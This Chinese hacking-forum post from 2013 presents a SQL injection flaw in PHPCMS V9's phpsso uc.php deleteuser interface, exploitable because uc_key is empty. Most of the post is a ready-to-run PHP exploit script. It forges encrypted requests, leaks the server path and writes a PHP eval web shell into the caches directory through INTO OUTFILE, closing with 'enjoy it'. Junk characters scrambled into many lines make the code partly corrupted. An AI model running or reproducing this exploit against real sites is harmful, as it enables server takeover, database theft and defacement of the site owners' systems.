找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1890|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
' Q% Y1 v  |, F; @9 r) J6 q  g+ q! c: B3 e" ?
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。0 J# U- A( C/ H# M4 b' h, `

3 }* [# V* P- ~' C' e1 Z5 C漏洞分析:
9 |% B+ y  u$ |. W# o1.未启用ucenter服务的情况下uc_key为空
  D. a3 n  J2 u" K3 \1 \define('UC_KEY', pc_base::load_config('system', 'uc_key'));
& _" T; U. {& |0 E3 ~2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
& B1 n! g# G  k    public function deleteuser($get,$post) {6 T( J+ [& P# H! @
        pc_base::load_app_func('global', 'admin');$ g: O  p5 e0 t$ W( s
        pc_base::load_app_class('messagequeue', 'admin' , 0);
9 C( w3 b7 d8 n/ B" @6 f) \        $ids = new_stripslashes($get['ids']);
  K  e" l3 W5 w' @        $s = $this->member_db->select("ucuserid in ($ids)", "uid");  \! r. |. Z/ J/ ]* l
SQL语句为
$ J/ Q9 H" }" V. z' ]% k% O. h# y. Y2 {SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
% h7 `4 Y7 e3 B* H3 K0 n6 K
# G% f+ C0 ?7 A- C利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
) m9 U6 O: p( L8 _6 S4 _<?php
6 I1 C6 n; q1 B: Rprint_r('
- B3 S) i4 w3 c* M( q---------------------------------------------------------------------------
" o/ Y6 R% @( U; k+ e7 v' pPHPcms (v9 or Old Version) uc api sql injection 0day
$ ^2 h0 H7 ?5 {; E2 Q" k- jby rayh4c#80sec.com
! h( [* N, p: o/ z, `. x2 e---------------------------------------------------------------------------
/ p/ h  P4 B$ Z: h8 ^" U8 E');7 D4 p; B0 G* K0 O. a
" U) |5 Y  e* N+ H  r4 i( K1 Z( l
if ($argc<3) {) I( m6 Q, e6 V4 z5 \6 V0 [  e# K/ ]
    print_r('9 k- A- Y5 }; }& `+ s. ^
---------------------------------------------------------------------------! e8 \, p$ ~5 x
Usage: php '.$argv[0].' host path OPTIONS' U9 ^. Q' t. d  G
host:      target server (ip/hostname)
# e& f) S5 O5 Zpath:      path to phpcms
2 y# Y. ?7 Z' H6 I8 N0 zOptions:6 \9 o7 z, f) g6 N" B- F
-p[port]:    specify a port other than 80
' x: J! w: m* M+ `2 I -P[ip:port]: specify a proxy1 ~- B- j0 A" Z  W: b9 e
Example:1 v" Z8 W' x0 {3 H
php '.$argv[0].' localhost /% V! Y- G/ @% ~  U/ V
php '.$argv[0].' localhost /phpcms/ -p818 e) I( f2 E; {* l
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
2 M& l" P$ v+ U) B' y0 V---------------------------------------------------------------------------
; Q, A$ g$ M+ @; ~, H9 \% T+ D');
  Q1 l& y/ Z, _& w    die;
% U; `, H$ W: k8 ?; J7 M}9 M; U6 H5 f9 y( \( x8 p1 Z

- i. ]( W/ G' s, Perror_reporting(7);* l: L! x) i% R% C4 {9 r
ini_set("max_execution_time",0);
1 p( P( {3 N& d' F+ Sini_set("default_socket_timeout",5);9 L3 k2 v# b* F/ e

) I( q( M8 T3 }+ ~: K( e  Mfunction quick_dump($string)
" e$ o8 }4 f% c% W' `, Q6 b" k{
. E: ^! d; n3 G  $result='';$exa='';$cont=0;# W+ a" i- z- Z( ~1 z$ X* E
  for ($i=0; $i<=strlen($string)-1; $i++)
8 F; O$ [. @" d7 F1 y% g  {
( x2 ?  V8 T4 V/ @' y/ D   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))3 T6 F- O% X/ b1 m
   {$result.="  .";}/ S  M8 A/ k) W& C
   else- d- a5 ]4 r$ j, Z. D' ~
   {$result.="  ".$string[$i];}. {2 Q" }5 w9 U2 d0 E' M
   if (strlen(dechex(ord($string[$i])))==2)
+ `# b2 E: i" ?) V* q/ X   {$exa.=" ".dechex(ord($string[$i]));}, u* t- G* t9 Y* p) m8 d
   else
  u! E3 d" T9 [   {$exa.=" 0".dechex(ord($string[$i]));}5 `8 e0 ]3 a2 l7 {
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}" V0 p) W- N6 L7 n7 ^
  }
9 a, ~: r  Z" ~* s, p7 y' `4 v return $exa."\r\n".$result;$ R+ ^' u2 S6 F- T, h9 x  W
}# q1 z  H) F) X/ e9 M% T
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
+ p" G5 b3 Q- z7 c  H3 B& N/ S) m( @
function send($packet)9 Y  h9 R: M. c* K- @" U* i
{
( N) H0 o8 h* Q6 O7 u' {  global $proxy, $host, $port, $html, $proxy_regex;
2 ?7 F2 X1 t" s  if ($proxy=='') {0 i3 c& z( Y; L
    $ock=fsockopen(gethostbyname($host),$port);
, s$ z# c# h) L; s    if (!$ock) {
2 Y: U) q3 N  X      echo 'No response from '.$host.':'.$port; die;
5 Z4 o$ D3 y6 g2 p. \    }
1 b. j* s# e+ Q, t, ?  }5 z# p7 s6 m" K1 U/ S+ c
  else {
2 y' V, f- S' T4 Y! E        $c = preg_match($proxy_regex,$proxy);# L! H- u) b; j! f# d
    if (!$c) {
; i' Y4 D( S  ^' `$ }; F      echo 'Not a valid proxy...';die;/ C! G! p4 ?" _) X
    }
, ]6 X7 V1 ~, W! ?    $parts=explode(':',$proxy);
0 m4 k7 \" Q3 `# _: N6 }+ @    $parts[1]=(int)$parts[1];
( r  Q8 f! p+ S. w1 }0 }    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
. @& p  F( P7 |. ]0 m/ J1 |    $ock=fsockopen($parts[0],$parts[1]);+ {- a$ l" D$ n) y% ?2 w6 O" R
    if (!$ock) {
/ A" |: N3 U4 C" T0 N$ h3 v" u      echo 'No response from proxy...';die;, u% k' _# P8 x/ s+ F3 F
        }6 Z. M4 ~4 b6 G" n, o, o! G
  }! h, {/ k8 a8 n
  fputs($ock,$packet);$ r) F8 {6 I# V% `( G% a  B
  if ($proxy=='') {  _4 M0 c0 p1 _8 e, |9 L% ^3 D
    $html='';
9 t1 E, r# \. q+ {2 o; k" S5 R- o    while (!feof($ock)) {# A% D+ r, B& h5 r! ~, }
      $html.=fgets($ock);
1 @  P9 C- \% d4 y9 ~    }
# z0 R1 I6 u3 G  }
  ?" G  ]- L: I  else {
" r6 y4 k" Q! R/ }9 |    $html='';
2 l  h, e& G$ f    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
) }0 _: E% l& h) [$ ^/ K7 U      $html.=fread($ock,1);8 h/ t8 V1 R# ?5 w" a
    }+ r$ g8 x& d4 V1 R
  }1 |( B: L: i8 P
  fclose($ock);1 }: V5 r$ z1 f! d- x  Z
}
: l- }1 T4 G6 f. d" B% O4 u) q4 z/ m( k9 w
$host=$argv[1];
7 C# H2 l1 u0 |  q! V+ J# ?$path=$argv[2];& M- S/ o- z# ^: x* G- r
$port=80;  \5 S6 S; N5 |4 k3 g
$proxy="";
. u  [# \7 Q; ^+ p" Ufor ($i=3; $i<$argc; $i++){
- K7 q2 P$ T$ D9 A: Y% _6 ~$temp=$argv[$i][0].$argv[$i][1];5 G1 P/ a* W' o8 O$ f$ c4 r
if ($temp=="-p")- m; u; K8 P- Y1 r1 w
{
0 n& J/ J2 Q( F+ _; v. V5 \( G  $port=(int)str_replace("-p","",$argv[$i]);
1 |/ i- C: G& W2 i}
' y# E) d, A$ Aif ($temp=="-P")
; h; M! z( d) E2 [{
7 `; [3 D6 U8 v' m( f  s/ W% P% U/ U  $proxy=str_replace("-P","",$argv[$i]);) h8 j' B/ K7 C
}! D3 B. @. j; v1 `/ Y: {3 l
}- ?7 T4 }8 ?& k/ @6 }% ~
, u' q5 G% H9 f+ \7 P
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
1 Y1 I0 g# c" |9 J- v+ I/ E4 C& bif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}$ w# t! Z- c1 u6 ]! \6 u
- t8 i9 f( {& w6 N2 I
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {7 J) V$ G* S1 {4 O& c

2 S9 T8 ~' T( y- a    $ckey_length = 4;9 y( j& Y' k5 x

9 y# R, @1 z' ]7 T" m% ^    $key = md5($key ? $key : '');0 K0 l; k, l/ Z( G
    $keya = md5(substr($key, 0, 16));4 p, w  \/ h4 M; q
    $keyb = md5(substr($key, 16, 16));
- z3 u) o: |8 T( b% J/ ?( p    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
& f, v. T" w6 ?0 F2 ~$ p, W& p
4 T9 T8 D% V- u# |  ?    $cryptkey = $keya.md5($keya.$keyc);7 C9 f0 [" y0 @# b
    $key_length = strlen($cryptkey);
9 R# M! w; H  g0 N7 t# a9 L" p! T4 C
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;" H# I. x& Y. k" i/ d. f
    $string_length = strlen($string);5 T$ o' U4 P. ]# Q
: w3 e; J% y7 z- s* _
    $result = '';8 l% |( V  i4 L# H$ f0 W
    $box = range(0, 255);
% z7 b# L3 U  N$ ^- d% b. D
+ p$ J4 o6 p* s1 x    $rndkey = array();, b8 g6 t  \  @
    for($i = 0; $i <= 255; $i++) {1 m$ m; a' B" j  o1 E
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);. \: Z0 S& D0 j, z9 |+ ]( M2 s: y
    }( X6 J1 p! a+ o8 Y7 Y

5 t( a: y8 D/ h2 _, `; o    for($j = $i = 0; $i < 256; $i++) {
% F) B$ R5 W8 a+ r' r& S$ H        $j = ($j + $box[$i] + $rndkey[$i]) % 256;, S9 q+ h4 h  a9 ~) a& ^
        $tmp = $box[$i];8 J/ I$ S; {: ]& T5 _! Z$ S4 w$ e
        $box[$i] = $box[$j];
% i1 E3 W5 M( X4 L. e+ c& ~        $box[$j] = $tmp;1 t3 q( m4 B2 }/ }+ \" V) M
    }
) u/ j$ ?. a+ G# T, ^
6 h  v, @* U2 _; o    for($a = $j = $i = 0; $i < $string_length; $i++) {
$ J3 t+ ?7 {8 A3 z. z" o        $a = ($a + 1) % 256;- Q; E' _. v& t3 K
        $j = ($j + $box[$a]) % 256;! F% \. _. Y' D0 j7 W" y
        $tmp = $box[$a];
6 X8 D- c6 d$ u2 ^& T: `        $box[$a] = $box[$j];
/ e/ ?6 Y( V4 ~. P% \        $box[$j] = $tmp;
2 T+ E" a1 G2 X* W0 B2 C        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));' H+ L$ f/ c8 l+ ~$ ~
    }
5 j) ~" L3 Y( V/ A6 S+ |) A5 s
) B, g0 F/ D- L0 o2 w) n    if($operation == 'DECODE') {! M3 |5 r) s+ y+ w- t# q
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
; @9 X. g: g& Z& E" u            return substr($result, 26);
7 S, ]# B4 Z+ T, _, L% Y        } else {/ l9 L/ }: r9 N. f
            return '';  ]9 r) A& C5 K9 V- X4 @
        }
; r( [& v$ r% x5 U' s4 a% R! p* a    } else {. ~# }8 H% H3 `# k4 \
        return $keyc.str_replace('=', '', base64_encode($result));
8 K% H" p+ F! \  q* q    }
5 x2 x" \+ d' c& W: \3 C5 z" t
4 O; w( _$ O, Z6 e/ U}
+ m! Y/ `8 ?" w4 L& ]7 p; b7 t1 \1 U
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
! o7 j7 u* x8 J. g% }/ F$SQL = urlencode(authcode($SQL, "ENCODE", ""));
' |+ g3 R9 |0 `/ D- Y7 M6 y- i. Pecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
+ |; k, i0 \6 t4 y3 Z9 t8 Y$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
0 _: t( ~7 V6 N/ x: N; M8 C$packet.="User-Agent: Mozilla/5.0\r\n";* o" |' ~1 ^8 k6 p2 N7 y
$packet.="Host: ".$host."\r\n";& ?- j8 E+ c$ H! B% I
$packet.="Connection: Close\r\n\r\n";
, P3 g$ k. }- W' G5 tsend($packet);
5 u5 `; F& F6 W3 f0 Jif(strpos($html,"MySQL Errno") > 0){/ }" x1 T& l6 i) Q& V
echo "[2] 发现存在SQL注入漏洞"."\n";# `, s( |$ c! P# H$ N
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
' s1 C" J& |- W$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
/ C1 r' J/ C( g  y) u9 P  c! Q$packet.="User-Agent: Mozilla/5.0\r\n";; R9 g) d2 ~% g, ^+ L5 u& O$ R
$packet.="Host: ".$host."\r\n";
. d9 |* D: L" X0 U% Q$packet.="Connection: Close\r\n\r\n";
. M& J7 l2 \  [5 x9 bsend($packet);
" b) ^& \5 L' k( P2 Lpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
, ^/ [! c0 q& L  I, E9 T//print_r($matches);* r9 a" {' J! ?) L
if(!empty($matches)){0 m- i# x9 U. m& H$ C
echo "[4] 得到web路径 " . $matches[0]."\n";
7 M2 K5 t: [! D! B% ^- S" V& b" ^! wecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
- J; l5 V$ G* p9 K$SQL = "time=999999999999999999999999&ids=1)";  r1 j& S6 {. P" z+ G( F' G  p# V
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
9 O4 h8 u; T3 M* u$SQL.="&action=deleteuser";/ T  Y$ Y3 B4 t+ p" t, \6 O2 N/ b
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
  ^* G& R" C5 R% V9 b9 Zecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
- p4 r; D! W7 j$ D0 ]$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
. n( F2 `0 v  g* v; K, d$packet.="User-Agent: Mozilla/5.0\r\n";
  p0 c. c4 u: f6 Q0 R! }$packet.="Host: ".$host."\r\n";
4 L& P+ |1 s% y$packet.="Connection: Close\r\n\r\n";
9 y5 i3 K1 h6 }  X$ \+ C; qsend($packet);
' E6 u% l1 K: r7 j+ u0 K+ hif(strpos($html,"Access denied") > 0){
! s0 v8 L+ I) Y2 decho "[-] MYSQL权限过低 禁止写入文件 ";1 Q/ A( s6 r0 h, _* Q7 X1 m% {+ r
die;' g2 d. L% W  b# X8 s5 s6 I; x
}$ w- w3 O( h1 i$ l
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";1 Y$ B/ D# u2 ?0 R
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";) q% p4 D  L* m
$packet.="User-Agent: Mozilla/5.0\r\n";
/ B, I/ e' n- b! }, X$packet.="Host: ".$host."\r\n";* Y  }7 j7 @6 r  ~+ `) d
$packet.="Connection: Close\r\n\r\n";
1 o5 r2 ~2 ?, s3 `send($packet);
: D& S! M* @1 Y7 X) i: F& z% cif(strpos($html,"<title>phpinfo()</title>") > 0){: G8 F2 s/ l1 w9 h& q/ I
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
' l- h; s5 q: B$ ^5 j}
+ r! ^) ], q/ ~+ K6 _}else{8 @% O- j$ {" P& |1 M! I# b& h
echo "[-]未取到web路径 ";
$ `; N, I2 |* t' L! ]- c}" {4 c8 n" C: Z# p7 L& T
}else{
8 X9 `, Q$ M& z+ wecho "[*]不存在SQL注入漏洞"."\n";
/ C. x/ `/ }6 V+ C. o% v0 F# X, u2 z}
$ |: O. V5 D8 d2 J: z8 ?3 J* A9 ]9 N/ P- b
?>0 J: o/ ^+ `" ~4 O: l! \7 G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表